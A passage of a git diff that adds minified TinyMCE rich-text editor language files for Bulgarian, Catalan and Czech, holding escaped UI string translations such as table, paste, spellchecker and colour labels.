\u0432\u0441\u0438\u0447\u043a\u0438","paste_word_desc":"\u041f\u043e\u0441\u0442\u0430\u0432\u0438 \u043e\u0442 Word","paste_text_desc":"\u041f\u043e\u0441\u0442\u0430\u0432\u0438 \u043a\u0430\u0442\u043e \u0442\u0435\u043a\u0441\u0442"},"paste_dlg":{"word_title":"\u0418\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0439\u0442\u0435 CTRL V \u043e\u0442 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u0430\u0442\u0430, \u0437\u0430 \u0434\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u0435 \u0442\u0435\u043a\u0441\u0442\u0430 \u0432 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446\u0430.","text_linebreaks":"\u0417\u0430\u043f\u0430\u0437\u0438 \u0437\u043d\u0430\u0446\u0438\u0442\u0435 \u0437\u0430 \u043d\u043e\u0432\u0438 \u0440\u0435\u0434\u043e\u0432\u0435","text_title":"\u0418\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0439\u0442\u0435 CTRL V \u043d\u0430 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u0430\u0442\u0430, \u0437\u0430 \u0434\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u0435 \u0442\u0435\u043a\u0441\u0442\u0430 \u0432 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446\u0430."},table:{cell:"\u041a\u043b\u0435\u0442\u043a\u0430",col:"\u041a\u043e\u043b\u043e\u043d\u0430",row:"\u0420\u0435\u0434",del:"\u0418\u0437\u0442\u0440\u0438\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0430","copy_row_desc":"\u041a\u043e\u043f\u0438\u0440\u0430\u0439 \u0440\u0435\u0434","cut_row_desc":"\u041e\u0442\u0440\u0435\u0436\u0438 \u0440\u0435\u0434","paste_row_after_desc":"\u041f\u043e\u0441\u0442\u0430\u0432\u0438 \u0440\u0435\u0434 \u0441\u043b\u0435\u0434","paste_row_before_desc":"\u041f\u043e\u0441\u0442\u0430\u0432\u0438 \u0440\u0435\u0434 \u043f\u0440\u0435\u0434\u0438","props_desc":"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430","cell_desc":"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u043a\u043b\u0435\u0442\u043a\u0430\u0442\u0430","row_desc":"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u0440\u0435\u0434\u0430","merge_cells_desc":"\u0421\u043b\u0435\u0439 \u043a\u043b\u0435\u0442\u043a\u0438","split_cells_desc":"\u0420\u0430\u0437\u0434\u0435\u043b\u0438 \u0441\u043b\u0435\u0442\u0438 \u043a\u043b\u0435\u0442\u043a\u0438","delete_col_desc":"\u0418\u0437\u0442\u0440\u0438\u0439 \u043a\u043e\u043b\u043e\u043d\u0430","col_after_desc":"\u0412\u043c\u044a\u043a\u043d\u0438 \u043a\u043e\u043b\u043e\u043d\u0430 \u0441\u043b\u0435\u0434","col_before_desc":"\u0412\u043c\u044a\u043a\u043d\u0438 \u043a\u043e\u043b\u043e\u043d\u0430 \u043f\u0440\u0435\u0434\u0438","delete_row_desc":"\u0418\u0437\u0442\u0440\u0438\u0439 \u0440\u0435\u0434","row_after_desc":"\u0412\u043c\u044a\u043a\u043d\u0438 \u0440\u0435\u0434 \u0441\u043b\u0435\u0434","row_before_desc":"\u0412\u043c\u044a\u043a\u043d\u0438 \u0440\u0435\u0434 \u043f\u0440\u0435\u0434\u0438",desc:"\u0412\u043c\u044a\u043a\u043d\u0438 \u043d\u043e\u0432\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"\u0412\u0441\u0438\u0447\u043a\u0438 \u043d\u0430\u043f\u0440\u0430\u0432\u0435\u043d\u0438 \u043f\u0440\u043e\u043c\u0435\u043d\u0438 \u0449\u0435 \u0431\u044a\u0434\u0430\u0442 \u0437\u0430\u0433\u0443\u0431\u0435\u043d\u0438.\n\n\u0421\u0438\u0433\u0443\u0440\u043d\u0438 \u043b\u0438 \u0441\u0442\u0435, \u0447\u0435 \u0438\u0441\u043a\u0430\u0442\u0435 \u0434\u0430 \u0432\u044a\u0437\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 \u0437\u0430\u043f\u0430\u0437\u0435\u043d\u043e\u0442\u043e \u0441\u044a\u0434\u044a\u0440\u0436\u0430\u043d\u0438\u0435?.","restore_content":"\u0412\u044a\u0437\u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0432\u0430\u043d\u0435 \u043d\u0430 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u043d\u043e \u0437\u0430\u043f\u0430\u0437\u0435\u043d\u043e\u0442\u043e.","unload_msg":"\u041f\u0440\u043e\u043c\u0435\u043d\u0438\u0442\u0435 \u043a\u043e\u0438\u0442\u043e \u043d\u0430\u043f\u0440\u0430\u0432\u0438\u0445\u0442\u0435 \u0449\u0435 \u0441\u0435 \u0437\u0430\u0433\u0443\u0431\u044f\u0442 \u0430\u043a\u043e \u043e\u0442\u0438\u0434\u0435\u0442\u0435 \u043d\u0430 \u0434\u0440\u0443\u0433\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430."},fullscreen:{desc:"\u0412\u043a\u043b./\u0418\u0437\u043a\u043b. \u0446\u044f\u043b \u0435\u043a\u0440\u0430\u043d"},media:{"delta_height":"\u0428\u0438\u0440\u0438\u043d\u0430","delta_width":"\u0412\u0438\u0441\u043e\u0447\u0438\u043d\u0430",edit:"\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u043c\u0435\u0434\u0438\u0430",desc:"\u0412\u043c\u044a\u043a\u043d\u0438/\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u043c\u0435\u0434\u0438\u0430\u0442\u0430"},fullpage:{desc:"\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430","delta_width":"","delta_height":""},template:{desc:"\u0412\u043c\u044a\u043a\u043d\u0438 \u0441\u044a\u0434\u044a\u0440\u0436\u0430\u043d\u0438\u0435\u0442\u043e \u043d\u0430 \u0442\u0435\u043c\u043f\u043b\u0435\u0439\u0442"},visualchars:{desc:"\u0412\u043a\u043b./\u0418\u0437\u043a\u043b. \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043d\u0438\u0442\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438."},spellchecker:{desc:"\u0412\u043a\u043b./\u0418\u0437\u043a\u043b. \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430 \u043f\u0440\u0430\u0432\u043e\u043f\u0438\u0441\u0430",menu:"\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u0442\u0430 \u043d\u0430 \u043f\u0440\u0430\u0432\u043e\u043f\u0438\u0441","ignore_word":"\u0418\u0433\u043d\u043e\u0440\u0438\u0440\u0430\u0439 \u0434\u0443\u043c\u0430","ignore_words":"\u0418\u0433\u043d\u043e\u0440\u0438\u0440\u0430\u0439 \u0432\u0441\u0438\u0447\u043a\u0438",langs:"\u0415\u0437\u0438\u0446\u0438",wait:"\u041c\u043e\u043b\u044f \u0438\u0437\u0447\u0430\u043a\u0430\u0439\u0442\u0435...",sug:"\u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f","no_sug":"\u041d\u044f\u043c\u0430 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f","no_mpell":"\u041d\u044f\u043c\u0430 \u0433\u0440\u0435\u0448\u043d\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438 \u0434\u0443\u043c\u0438.","learn_word":"\u041d\u0430\u0443\u0447\u0438 \u0434\u0443\u043c\u0430\u0442\u0430"},pagebreak:{desc:"\u0412\u043c\u044a\u043a\u043d\u0438 \u043d\u043e\u0432\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430."},advlist:{types:"\u0421\u0438\u043c\u0432\u043e\u043b\u0438",def:"\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0438","lower_alpha":"\u041c\u0430\u043b\u043a\u0438 \u043b\u0430\u0442\u0438\u043d\u0441\u043a\u0438 \u0431\u0443\u043a\u0432\u0438","lower_greek":"\u041c\u0430\u043b\u043a\u0438 \u0433\u0440\u044a\u0446\u043a\u0438 \u0431\u0443\u043a\u0432\u0438","lower_roman":"\u041c\u0430\u043b\u043a\u0438 \u0440\u0438\u043c\u0441\u043a\u0438 \u0446\u0438\u0444\u0440\u0438","upper_alpha":"\u0417\u0430\u0433\u043b\u0430\u0432\u043d\u0438 \u043b\u0430\u0442\u0438\u043d\u0441\u043a\u0438 \u0431\u0443\u043a\u0432\u0438","upper_roman":"\u0417\u0430\u0433\u043b\u0430\u0432\u043d\u0438 \u0440\u0438\u043c\u0441\u043a\u0438 \u0446\u0438\u0444\u0440\u0438",circle:"\u041a\u0440\u044a\u0433",disc:"\u041e\u043a\u0440\u044a\u0436\u043d\u043e\u0441\u0442",square:"\u041a\u0432\u0430\u0434\u0440\u0430\u0442"},colors:{"333300":"\u0422\u044a\u043c\u043d\u043e \u043c\u0430\u0441\u043b\u0438\u043d\u0435\u043d","993300":"\u0422\u044a\u043c\u043d\u043e \u043e\u0440\u0430\u043d\u0436\u0435\u0432","000000":"\u0427\u0435\u0440\u0435\u043d","003300":"\u0422\u044a\u043c\u043d\u043e\u0437\u0435\u043b\u0435\u043d","003366":"\u0422\u044a\u043c\u043d\u043e\u043b\u0430\u0437\u0443\u0440\u0435\u043d","000080":"\u0422\u044a\u043c\u043d\u043e\u0441\u0438\u043d","333399":"\u0418\u043d\u0434\u0438\u0433\u043e","333333":"\u041c\u043d\u043e\u0433\u043e \u0442\u044a\u043c\u043d\u043e \u0441\u0438\u0432","800000":"\u041a\u0435\u0441\u0442\u0435\u043d\u044f\u0432",FF6600:"\u041e\u0440\u0430\u043d\u0436\u0435\u0432","808000":"\u041c\u0430\u0441\u043b\u0438\u043d\u0435\u043d\u043e\u0437\u0435\u043b\u0435\u043d","008000":"\u0417\u0435\u043b\u0435\u043d","008080":"\u0421\u0432\u0435\u0442\u043b\u043e\u0441\u0438\u043d","0000FF":"\u0421\u0438\u043d","666699":"\u0421\u0438\u0432\u043e \u0441\u0438\u043d","808080":"\u0421\u0438\u0432",FF0000:"\u0427\u0435\u0440\u0432\u0435\u043d",FF9900:"\u041a\u0435\u0445\u043b\u0438\u0431\u0430\u0440","99CC00":"\u0416\u044a\u043b\u0442\u043e\u0437\u0435\u043b\u0435\u043d","339966":"\u0421\u0438\u043d\u044c\u043e\u0437\u0435\u043b\u0435\u043d","33CCCC":"\u0422\u044e\u0440\u043a\u043e\u0430\u0437","3366FF":"\u041a\u0440\u0430\u043b\u0441\u043a\u043e \u0441\u0438\u043d\u044c\u043e","800080":"\u041f\u0443\u0440\u043f\u0443\u0440\u0435\u043d","999999":"\u0421\u0440\u0435\u0434\u043d\u043e \u0441\u0438\u0432",FF00FF:"\u041c\u0430\u0433\u0435\u043d\u0442\u0430",FFCC00:"\u0417\u043b\u0430\u0442\u0435\u043d",FFFF00:"\u0416\u044a\u043b\u0442","00FF00":"\u041b\u0430\u0439\u043c","00FFFF":"\u0410\u043a\u0432\u0430","00CCFF":"\u041d\u0435\u0431\u0435\u0441\u043d\u043e \u0441\u0438\u043d","993366":"\u041a\u0430\u0444\u044f\u0432",C0C0C0:"\u0421\u0440\u0435\u0431\u0440\u0438\u0441\u0442",FF99CC:"\u0420\u043e\u0437\u043e\u0432",FFCC99:"\u0422\u044a\u043c\u043d\u043e\u043e\u0440\u0430\u043d\u0436\u0435\u0432",FFFF99:"\u0421\u0432\u0435\u0442\u043b\u043e\u0436\u044a\u043b\u0442",CCFFCC:"\u0411\u043b\u0435\u0434\u043e \u0437\u0435\u043b\u0435\u043d\u043e",CCFFFF:"\u0411\u043b\u0435\u0434 \u0446\u0438\u0430\u043d","99CCFF":"\u0421\u0432\u0435\u0442\u043b\u043e\u043d\u0435\u0431\u0435\u0441\u043d\u043e \u0441\u0438\u043d",CC99FF:"\u041b\u0438\u043b\u0430\u0432",FFFFFF:"\u0411\u044f\u043b"},aria:{"rich_text_area":"\u041f\u043e\u043b\u0435 \u0437\u0430 \u0447\u0438\u0441\u0442 \u0442\u0435\u043a\u0441\u0442"},wordcount:{words:"\u0414\u0443\u043c\u0438:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/ca.js b/js/tiny_mce/langs/ca.js new file mode 100755 index 0000000..f944c2c --- /dev/null +++ b/js/tiny_mce/langs/ca.js @@ -0,0 +1 @@ +tinyMCE.addI18n({ca:{common:{"more_colors":"M\u00e9s colors","invalid_data":"Error: heu introdu\u00eft valors no v\u00e0lids, els marcats en vermell.","popup_blocked":"El bloqueig de finestres emergents ha inhabilitat una finestra que proporciona funcionalitat a l\'aplicaci\u00f3. Cal que desactiveu el bloqueig de finestres emergents en aquest lloc per tal de poder utilitzar de forma completa aquesta eina.","clipboard_no_support":"El vostre navegador actualment no ho admet, utilitzeu les dreceres de teclat.","clipboard_msg":"Copia/Retalla/Enganxa no es troba disponible al Mozilla ni al Firefox.\nVoleu m\u00e9s informaci\u00f3 sobre aquesta q\u00fcesti\u00f3?","not_set":"-- No definit --","class_name":"Classe",browse:"Explora",close:"Tanca",cancel:"Cancel\u00b7la",update:"Actualitza",insert:"Insereix",apply:"Aplica","edit_confirm":"Voleu utilitzar el mode WYSIWYG?","invalid_data_number":"{#field} ha de ser un n\u00famero","invalid_data_min":"{#field} ha de ser un n\u00famero major que {#min}","invalid_data_size":"{#field} ha de ser un n\u00famero o un tant per cent",value:"(valor)"},contextmenu:{full:"Justificat",right:"Dreta",center:"Centre",left:"Esquerra",align:"Alineaci\u00f3"},insertdatetime:{"day_short":"dg.,dl.,dt.,dc.,dj.,dv.,ds.,dg.","day_long":"diumenge,dilluns,dimarts,dimecres,dijous,divendres,dissabte,diumenge","months_short":"gen.,febr.,mar\u00e7,abr.,maig,juny,jul.,ag.,set.,oct.,nov.,des.","months_long":"Jgener,febrer,mar\u00e7,abril,maig,juny,juliol,agost,setembre,octubre,novembre,desembre","inserttime_desc":"Insereix l\'hora","insertdate_desc":"Insereix la data","time_fmt":"%H:%M:%S","date_fmt":"%d-%m-%Y"},print:{"print_desc":"Imprimeix"},preview:{"preview_desc":"Previsualitzaci\u00f3"},directionality:{"rtl_desc":"Direcci\u00f3 dreta a esquerra","ltr_desc":"Direcci\u00f3 esquerra a dreta"},layer:{content:"Nova Capa...","absolute_desc":"Conmuta el posicionament absolut","backward_desc":"Mou endarrera","forward_desc":"Mou endavant","insertlayer_desc":"Insereix una nova capa"},save:{"save_desc":"Desa","cancel_desc":"Cancel\u00b7la tots els canvis"},nonbreaking:{"nonbreaking_desc":"Insereix un car\u00e0cter espai en blanc"},iespell:{download:"no he detectat l\'ieSpell. Voleu instal\u00b7lar-ho?","iespell_desc":"Executa la correcci\u00f3 ortogr\u00e0fica"},advhr:{"advhr_desc":"Filet horitzontal","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Emoticones","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"Cerca/Reempla\u00e7a","search_desc":"Cerca","delta_width":"","delta_height":""},advimage:{"image_desc":"Insereix/edita imatge","delta_width":"","delta_height":""},advlink:{"link_desc":"Insert/edit link","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Insereix/edita atributs","ins_desc":"Inserci\u00f3","del_desc":"Eliminaci\u00f3","acronym_desc":"Acr\u00f2nim","abbr_desc":"Abreviaci\u00f3","cite_desc":"Citaci\u00f3","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"Edita l\'estil CSS","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Enganxa est\u00e0 ara configurat en mode text pla. Clica de nou per tornar al mode normal d\'enganxar.","plaintext_mode_sticky":"Enganxa est\u00e0 ara configurat en mode text pla. Clica de nou per tornar al mode normal d\'enganxar. Despr\u00e9s d\'enganxar quelcom ser\u00e0s retornat al mode normal d\'enganxar.","selectall_desc":"Selecciona-ho tot","paste_word_desc":"Enganxa des del Word","paste_text_desc":"Enganxa com a text pla"},"paste_dlg":{"word_title":"Amb el teclat utilitzeu CTRL+V per a enganxar el text dins la finestra.","text_linebreaks":"Conserva els salts de l\u00ednia","text_title":"Amb el teclat utilitzeu CTRL+V per a enganxar el text dins la finestra."},table:{cell:"Cel\u00b7la",col:"Columna",row:"Fila",del:"Elimina la taula","copy_row_desc":"Copia la fila","cut_row_desc":"Retalla la fila","paste_row_after_desc":"Enganxa la fila despr\u00e9s","paste_row_before_desc":"Enganxa la fila abans","props_desc":"Propietats de la taula","cell_desc":"Propietats de la cel\u00b7la","row_desc":"Propietats de la fila","merge_cells_desc":"Fusiona les cel\u00b7les","split_cells_desc":"Divideix les cel\u00b7les fusionades","delete_col_desc":"Elimina la columna","col_after_desc":"Insereix una columna despr\u00e9s","col_before_desc":"Insereix una columna abans","delete_row_desc":"Elimina la fila","row_after_desc":"Insereix una fila despr\u00e9s","row_before_desc":"Insereix una fila abans",desc:"Insereix una nova taula","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"Si restaures el contingut guardat, perdr\u00e0s tot el contingut actual de l\'editor.\n\n Est\u00e0s segur de voler continuar?","restore_content":"Restaura el contingut guardat autom\u00e0ticament.","unload_msg":"Els canvis que heu fet es perdran si navegueu a fora d\'aquesta p\u00e0gina."},fullscreen:{desc:"Commuta a mode de pantalla completa"},media:{edit:"Edita multim\u00e8dia incrustat",desc:"Insereix / edita multim\u00e8dia incrustat","delta_height":"","delta_width":""},fullpage:{desc:"Propietats del document","delta_width":"","delta_height":""},template:{desc:"Insereix un contingut predefinit"},visualchars:{desc:"Activa/desactiva els car\u00e0cters de control visual."},spellchecker:{desc:"Corrector ortogr\u00e0fic",menu:"Configuraci\u00f3 del corrector","ignore_word":"Ignora el mot","ignore_words":"Ignora\'ls tots",langs:"Idiomes",wait:"Espereu...",sug:"Suggeriments","no_sug":"Cap suggeriment","no_mpell":"No s\'ha trobat cap falta d\'ortografia.","learn_word":"Aprendre el mot"},pagebreak:{desc:"Insereix un salt de p\u00e0gina."},advlist:{types:"Tipus",def:"Per defecte","lower_alpha":"Lletres","lower_greek":"Lletres gregues (min\u00fascules)","lower_roman":"Nombres romans (min\u00fascules)","upper_alpha":"Lletres (maj\u00fascules)","upper_roman":"Nombres romans (maj\u00fascules)",circle:"Cercle",disc:"Disc",square:"Quadrat"},colors:{"333300":"Verd oliva fosc","993300":"Taronja torrat","000000":"Negre","003300":"Verd fosc","003366":"Blau fosc","000080":"Blau mar\u00ed","333399":"Indi","333333":"Gris molt fosc","800000":"Granat",FF6600:"Taronja","808000":"Verd oliva","008000":"Verd","008080":"Blau xarxet","0000FF":"Blau","666699":"Blau grisenc","808080":"Gris",FF0000:"Roig",FF9900:"Ambre","99CC00":"Verd groguenc","339966":"Verd mar\u00ed","33CCCC":"Turquesa","3366FF":"Blau real","800080":"Porpra","999999":"Gris mig",FF00FF:"Magenta",FFCC00:"Or",FFFF00:"Groc","00FF00":"Llima","00FFFF":"Cian","00CCFF":"Blau cel","993366":"Marr\u00f3",C0C0C0:"Plata",FF99CC:"Rosa",FFCC99:"Pr\u00e9ssec",FFFF99:"Groc clar",CCFFCC:"Verd p\u00e0lid",CCFFFF:"Cian p\u00e0lid","99CCFF":"Blau mar\u00ed clar",CC99FF:"Pruna",FFFFFF:"Blanc"},aria:{"rich_text_area":"\u00c0rea de Text Enriquit"},wordcount:{words:"Mots:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/cs.js b/js/tiny_mce/langs/cs.js new file mode 100755 index 0000000..e371c0f --- /dev/null +++ b/js/tiny_mce/langs/cs.js @@ -0,0 +1 @@ +tinyMCE.addI18n({cs:{common:{"more_colors":"Dal\u0161\u00ed barvy","invalid_data":"Chyba: Byly zad\u00e1ny neplatn\u00e9 hodnoty a tyto byly ozna\u010deny \u010derven\u011b.","popup_blocked":"Omlouv\u00e1me se, ale blokov\u00e1n\u00ed vyskakovac\u00edch oken neumo\u017enilo otev\u0159\u00edt okno, kter\u00e9 poskytuje funk\u010dnost aplikace. Pro pln\u00e9 vyu\u017eit\u00ed mo\u017enost\u00ed aplikace mus\u00edte vypnout blokov\u00e1n\u00ed vyskakovac\u00edch oken pro tento web.","clipboard_no_support":"Tato funkce nen\u00ed va\u0161\u00edm prohl\u00ed\u017ee\u010dem podporov\u00e1na. Pou\u017eijte m\u00edsto toho kl\u00e1vesov\u00e9 zkratky.","clipboard_msg":"Funkce kop\u00edrovat/vyjmout/vlo\u017eit nejsou podporovan\u00e9 v prohl\u00ed\u017ee\u010d\u00edch Mozilla a Firefox.\nChcete v\u00edce informac\u00ed o tomto probl\u00e9mu?","not_set":"- Nenastaveno -","class_name":"T\u0159\u00edda",browse:"Proch\u00e1zet",close:"Zav\u0159\u00edt",cancel:"Storno",update:"Aktualizovat",insert:"Vlo\u017eit",apply:"Pou\u017e\u00edt","edit_confirm":"Chcete pou\u017e\u00edt WYSIWYG re\u017eim pro tento text?","invalid_data_number":"{#field} mus\u00ed b\u00fdt \u010d\u00edslo","invalid_data_min":"{#field} mus\u00ed b\u00fdt \u010d\u00edslo v\u011bt\u0161\u00ed ne\u017e {#min}","invalid_data_size":"{#field} mus\u00ed b\u00fdt \u010d\u00edslo nebo v procentech",value:"(hodnota)"},contextmenu:{full:"Do bloku",right:"Doprava",center:"Na st\u0159ed",left:"Doleva",align:"Zarovn\u00e1n\u00ed"},insertdatetime:{"day_short":"Ne,Po,\u00dat,St,\u010ct,P\u00e1,So,Ne","day_long":"Ned\u011ble,Pond\u011bl\u00ed,\u00dater\u00fd,St\u0159eda,\u010ctvrtek,P\u00e1tek,Sobota,Ned\u011ble","months_short":"Led,\u00dano,B\u0159e,Dub,Kv\u011b,\u010cer,\u010cvc,Srp,Z\u00e1\u0159,\u0158\u00edj,Lis,Pro","months_long":"Leden,\u00danor,B\u0159ezen,Duben,Kv\u011bten,\u010cerven,\u010cervenec,Srpen,Z\u00e1\u0159\u00ed,\u0158\u00edjen,Listopad,Prosinec","inserttime_desc":"Vlo\u017eit \u010das","insertdate_desc":"Vlo\u017eit datum","time_fmt":"%H:%M:%S","date_fmt":"%d.%m.%Y"},print:{"print_desc":"Tisk"},preview:{"preview_desc":"N\u00e1hled"},directionality:{"rtl_desc":"Sm\u011br zprava doleva","ltr_desc":"Sm\u011br zleva doprava"},layer:{content:"Nov\u00e1 vrstva...","absolute_desc":"P\u0159epnout na absolutn\u00ed pozicov\u00e1n\u00ed","backward_desc":"P\u0159esunout dozadu","forward_desc":"P\u0159esunout dop\u0159edu","insertlayer_desc":"Vlo\u017eit novou vrstvu"},save:{"save_desc":"Ulo\u017eit","cancel_desc":"Zru\u0161it v\u0161echny zm\u011bny"},nonbreaking:{"nonbreaking_desc":"Vlo\u017eit ned\u011blitelnou mezeru"},iespell:{download:"Slovn\u00edk ieSpell nebyl detekov\u00e1n. Chcete ho nainstalovat?","iespell_desc":"Spustit kontrolu pravopisu"},advhr:{"advhr_desc":"Vodorovn\u00fd odd\u011blova\u010d","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Emotikony","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"Naj\u00edt/nahradit","search_desc":"Naj\u00edt","delta_width":"","delta_height":""},advimage:{"delta_width":"20","image_desc":"Vlo\u017eit/upravit obr\u00e1zek","delta_height":""},advlink:{"link_desc":"Vlo\u017eit/upravit odkaz","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Vlo\u017eit/upravit atributy","ins_desc":"P\u0159idan\u00fd text","del_desc":"Odstran\u011bn\u00fd text","acronym_desc":"Akronym","abbr_desc":"Zkratka","cite_desc":"Citace","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{"delta_width":"25",desc:"Upravit CSS styl","delta_height":""},paste:{"plaintext_mode":"Funkce vlo\u017eit je nyn\u00ed v re\u017eimu prost\u00fd text. Op\u011btovn\u00e9 kliknut\u00ed p\u0159epne tuto funkci zp\u011bt do norm\u00e1ln\u00edho re\u017eimu.","plaintext_mode_sticky":"Funkce vlo\u017eit je nyn\u00ed v re\u017eimu prost\u00fd text. Op\u011btovn\u00e9 kliknut\u00ed p\u0159epne tuto funkci zp\u011bt do norm\u00e1ln\u00edho re\u017eimu. Po vlo\u017een\u00ed \u010dehokoli bude tato funkce vr\u00e1cena zp\u011bt do norm\u00e1ln\u00edho re\u017eimu.","selectall_desc":"Vybrat v\u0161e","paste_word_desc":"Vlo\u017eit z Wordu","paste_text_desc":"Vlo\u017eit jako prost\u00fd text"},"paste_dlg":{"word_title":"Pou\u017eijte CTRL+V pro vlo\u017een\u00ed textu do okna.","text_linebreaks":"Zachovat zalamov\u00e1n\u00ed \u0159\u00e1dk\u016f","text_title":"Pou\u017eijte CTRL+V pro vlo\u017een\u00ed textu do okna."},table:{"table_delta_width":"50","cellprops_delta_width":"100",cell:"Bu\u0148ka",col:"Sloupec",row:"\u0158\u00e1dek",del:"Odstranit tabulku","copy_row_desc":"Kop\u00edrovat \u0159\u00e1dek tabulky","cut_row_desc":"Vyjmout \u0159\u00e1dek tabulky","paste_row_after_desc":"Vlo\u017eit \u0159\u00e1dek za","paste_row_before_desc":"Vlo\u017eit \u0159\u00e1dek p\u0159ed","props_desc":"Vlastnosti tabulky","cell_desc":"Vlastnosti bu\u0148ky","row_desc":"Vlastnosti \u0159\u00e1dku tabulky","merge_cells_desc":"Slou\u010dit bu\u0148ky","split_cells_desc":"Rozd\u011blit bu\u0148ky","delete_col_desc":"Odstranit sloupec tabulky","col_after_desc":"Vlo\u017eit sloupec za","col_before_desc":"Vlo\u017eit sloupec p\u0159ed","delete_row_desc":"Odstranit \u0159\u00e1dek tabulky","row_after_desc":"Vlo\u017eit \u0159\u00e1dek za","row_before_desc":"Vlo\u017eit \u0159\u00e1dek p\u0159ed",desc:"Vlo\u017eit novou tabulku","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","cellprops_delta_height":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"Pokud obnov\u00edte ulo\u017een\u00fd obsah, ztrat\u00edte t\u00edm ve\u0161ker\u00fd obsah, kter\u00fd je pr\u00e1v\u011b v okn\u011b editoru.\n\nOpravdu chcete obnovit ulo\u017een\u00fd obsah?","restore_content":"Obnovit automaticky ulo\u017een\u00fd obsah.","unload_msg":"Proveden\u00e9 zm\u011bny mohou b\u00fdt ztraceny, jestli\u017ee opust\u00edte tuto str\u00e1nku."},fullscreen:{desc:"P\u0159epnout na celostr\u00e1nkov\u00e9 zobrazen\u00ed"},media:{"delta_width":"130",edit:"Upravit m\u00e9dia",desc:"Vlo\u017eit/upravit m\u00e9dia","delta_height":""},fullpage:{desc:"Vlastnosti dokumentu","delta_width":"110","delta_height":""},template:{desc:"Vlo\u017eit p\u0159eddefinovan\u00fd obsah ze \u0161ablony"},visualchars:{desc:"Zobrazen\u00ed skryt\u00fdch znak\u016f zap/vyp"},spellchecker:{desc:"P\u0159epnout kontrolu pravopisu",menu:"Nastaven\u00ed kontroly pravopisu","ignore_word":"Ignorovat slovo","ignore_words":"Ignorovat v\u0161e",langs:"Jazyky",wait:"\u010cekejte pros\u00edm...",sug:"N\u00e1pov\u011bda","no_sug":"\u017d\u00e1dn\u00e1 n\u00e1pov\u011bda","no_mpell":"Nebyly nalezeny \u017e\u00e1dn\u00e9 chyby.","learn_word":"Nau\u010dit slovo"},pagebreak:{desc:"Vlo\u017eit konec str\u00e1nky"},advlist:{types:"Typ",def:"V\u00fdchoz\u00ed","lower_alpha":"Mal\u00e1 p\u00edsmena","lower_greek":"Mal\u00e1 \u0159eck\u00e1 p\u00edsmena","lower_roman":"Mal\u00e9 \u0159\u00edmsk\u00e9 \u010d\u00edslice","upper_alpha":"Velk\u00e1 p\u00edsmena","upper_roman":"Velk\u00e9 \u0159\u00edmsk\u00e9 \u010d\u00edslice",circle:"Kole\u010dko",disc:"Punt\u00edk",square:"\u010ctvere\u010dek"},colors:{"333300":"Tmav\u011b olivov\u00e1","993300":"Tmav\u011b oran\u017eov\u00e1","000000":"\u010cern\u00e1","003300":"Tmav\u011b zelen\u00e1","003366":"Tmav\u011b azurov\u00e1","000080":"N\u00e1morn\u00edcka modr\u00e1","333399":"Indigo modr\u00e1","333333":"Tmav\u011b \u0161ed\u00e1","800000":"Tmavo 